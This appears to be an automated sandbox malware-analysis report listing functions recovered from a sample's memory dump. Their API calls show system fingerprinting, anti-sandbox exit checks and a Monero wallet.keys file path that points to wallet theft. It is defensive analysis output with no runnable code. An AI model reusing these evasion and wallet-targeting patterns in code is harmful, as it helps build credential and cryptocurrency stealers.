Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d469150a885f5758535bb1f06ebff7204071d8f728ae56ab8ae1fcd2decb7cb5
Instruction ID: 1f30b8280f0454ec13698318f5912a95f4cd84a8475a2a31fdf9e71a4e31c161
Opcode Fuzzy Hash: d469150a885f5758535bb1f06ebff7204071d8f728ae56ab8ae1fcd2decb7cb5
Instruction Fuzzy Hash: 8421D8719102189BDB28DB54DC85FE9B3B8FF48714F00C5A9A609A6240DF71AA86CF94

Function 00ED7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00ED76AB
RegOpenKeyExA.KERNEL32(80000002,00A8C128,00000000,00020119,00000000), ref: 00ED76DD
RegQueryValueExA.KERNEL32(00000000,00A9E518,00000000,00000000,?,000000FF), ref: 00ED76FE
RegCloseKey.ADVAPI32(00000000), ref: 00ED7708

Strings

Windows 11, xrefs: 00ED76BD

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 463a96727aade57d46f893fc228c4c546abb4c0d58907463fa9fee4c0c51fddb
Instruction ID: e95e91f12d8f4b80f493a897c718a58cae7301bb071f8b5406e96513ebadd37b
Opcode Fuzzy Hash: 463a96727aade57d46f893fc228c4c546abb4c0d58907463fa9fee4c0c51fddb
Instruction Fuzzy Hash: 3E01A7B5E04308BBD715DBE0E849F6D77B8EF44701F008466FA55E7284E6B19A418B50

Function 00ED7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7734
RtlAllocateHeap.NTDLL(00000000), ref: 00ED773B
RegOpenKeyExA.KERNEL32(80000002,00A8C128,00000000,00020119,00ED76B9), ref: 00ED775B
RegQueryValueExA.KERNEL32(00ED76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00ED777A
RegCloseKey.ADVAPI32(00ED76B9), ref: 00ED7784

Strings

CurrentBuildNumber, xrefs: 00ED7771

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ab3af2797519bf53bdce18ad1d678cc985f17d04c0ec953636f3428ada1f4a63
Instruction ID: 0f6a2d75102a596dbebcff11b4c1586a78c404b8229c287fed79e271bb69bf0c
Opcode Fuzzy Hash: ab3af2797519bf53bdce18ad1d678cc985f17d04c0ec953636f3428ada1f4a63
Instruction Fuzzy Hash: 2601A2B5E00308BFDB14DBE0EC4AFAEB7B8EF48701F004069FA15A7284DAB05A408B50

Function 00ED40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00ED40D5
RegOpenKeyExA.KERNEL32(80000001,00A9DA40,00000000,00020119,?), ref: 00ED40F4
RegQueryValueExA.ADVAPI32(?,00A9DEB8,00000000,00000000,00000000,000000FF), ref: 00ED4118
RegCloseKey.ADVAPI32(?), ref: 00ED4122
lstrcat.KERNEL32(?,00000000), ref: 00ED4147
lstrcat.KERNEL32(?,00A9DFC0), ref: 00ED415B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: a757adfdff0c92582eb541c00fdac3512a7e57b4a79e32d01fa2abe91a3b895b
Instruction ID: 4653ba3682d7714859aa34de1a53eb740e2d19298504ee33e7183627950c4efd
Opcode Fuzzy Hash: a757adfdff0c92582eb541c00fdac3512a7e57b4a79e32d01fa2abe91a3b895b
Instruction Fuzzy Hash: BA419CB6D0020867DB29EBB0EC46FEE737DAB48300F00455DB62557185EAB59BC98BD1

Function 00ED69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A92428), ref: 00ED98A1
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A924E8), ref: 00ED98BA
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A92320), ref: 00ED98D2
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A92440), ref: 00ED98EA
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A92380), ref: 00ED9903
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A98F48), ref: 00ED991B
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A857D0), ref: 00ED9933
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A85A30), ref: 00ED994C
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A923B0), ref: 00ED9964
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A92458), ref: 00ED997C
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A92470), ref: 00ED9995
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A924A0), ref: 00ED99AD
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A858D0), ref: 00ED99C5
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(74DD0000,00A924B8), ref: 00ED99DE

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EC11D0: ExitProcess.KERNEL32 ref: 00EC1211

Part of subcall function 00EC1160: GetSystemInfo.KERNEL32(?), ref: 00EC116A
Part of subcall function 00EC1160: ExitProcess.KERNEL32 ref: 00EC117E

Part of subcall function 00EC1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EC112B
Part of subcall function 00EC1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00EC1132
Part of subcall function 00EC1110: ExitProcess.KERNEL32 ref: 00EC1143

Part of subcall function 00EC1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EC123E
Part of subcall function 00EC1220: __aulldiv.LIBCMT ref: 00EC1258
Part of subcall function 00EC1220: __aulldiv.LIBCMT ref: 00EC1266
Part of subcall function 00EC1220: ExitProcess.KERNEL32 ref: 00EC1294

Part of subcall function 00ED6770: GetUserDefaultLangID.KERNEL32 ref: 00ED6774

Part of subcall function 00EC1190: ExitProcess.KERNEL32 ref: 00EC11C6

Part of subcall function 00ED7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
Part of subcall function 00ED7850: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
Part of subcall function 00ED7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

Part of subcall function 00ED78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
Part of subcall function 00ED78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
Part of subcall function 00ED78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00A98F08,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ED6AE8
CloseHandle.KERNEL32(00000000), ref: 00ED6AF9
Sleep.KERNEL32(00001770), ref: 00ED6B04
CloseHandle.KERNEL32(?,00000000,?,00A98F08,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6B1A
ExitProcess.KERNEL32 ref: 00ED6B22

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 69262e7203cfb903c2ec87e958661759a52543cc309e5eff15dd17fe1f6b9415
Instruction ID: 99cbdc46a7953657644bab7c7e8b1cbb7f5dcdff0b453c0481b2641d3aac3b0e
Opcode Fuzzy Hash: 69262e7203cfb903c2ec87e958661759a52543cc309e5eff15dd17fe1f6b9415
Instruction Fuzzy Hash: EA314075D002089ADB09F7E0E856FEE77B8EF44340F04652AF512B2282DF715A43D7A6

Function 00EC99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: fbceede4ac0bdb590a548c82022359260f1ecd01f52aaab821974250b56f62ee
Instruction ID: 1446f85f935beb32de28f18bf6ff20a7cae8799242e9a3f85809e8b564603437
Opcode Fuzzy Hash: fbceede4ac0bdb590a548c82022359260f1ecd01f52aaab821974250b56f62ee
Instruction Fuzzy Hash: BF312A74E00209EFDB24CF94D989FAE77B5FF48304F108158E911A7290D775AA82CFA0

Function 00ED4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00A9DF00), ref: 00ED47DB

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4801
lstrcat.KERNEL32(?,?), ref: 00ED4820
lstrcat.KERNEL32(?,?), ref: 00ED4834
lstrcat.KERNEL32(?,00A8B8B0), ref: 00ED4847
lstrcat.KERNEL32(?,?), ref: 00ED485B
lstrcat.KERNEL32(?,00A9DD80), ref: 00ED486F

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00ED8D90: GetFileAttributesA.KERNEL32(00000000,?,00EC1B54,?,?,00EE564C,?,?,00EE0E1F), ref: 00ED8D9F

Part of subcall function 00ED4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00ED4580
Part of subcall function 00ED4570: RtlAllocateHeap.NTDLL(00000000), ref: 00ED4587
Part of subcall function 00ED4570: wsprintfA.USER32 ref: 00ED45A6
Part of subcall function 00ED4570: FindFirstFileA.KERNEL32(?,?), ref: 00ED45BD

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
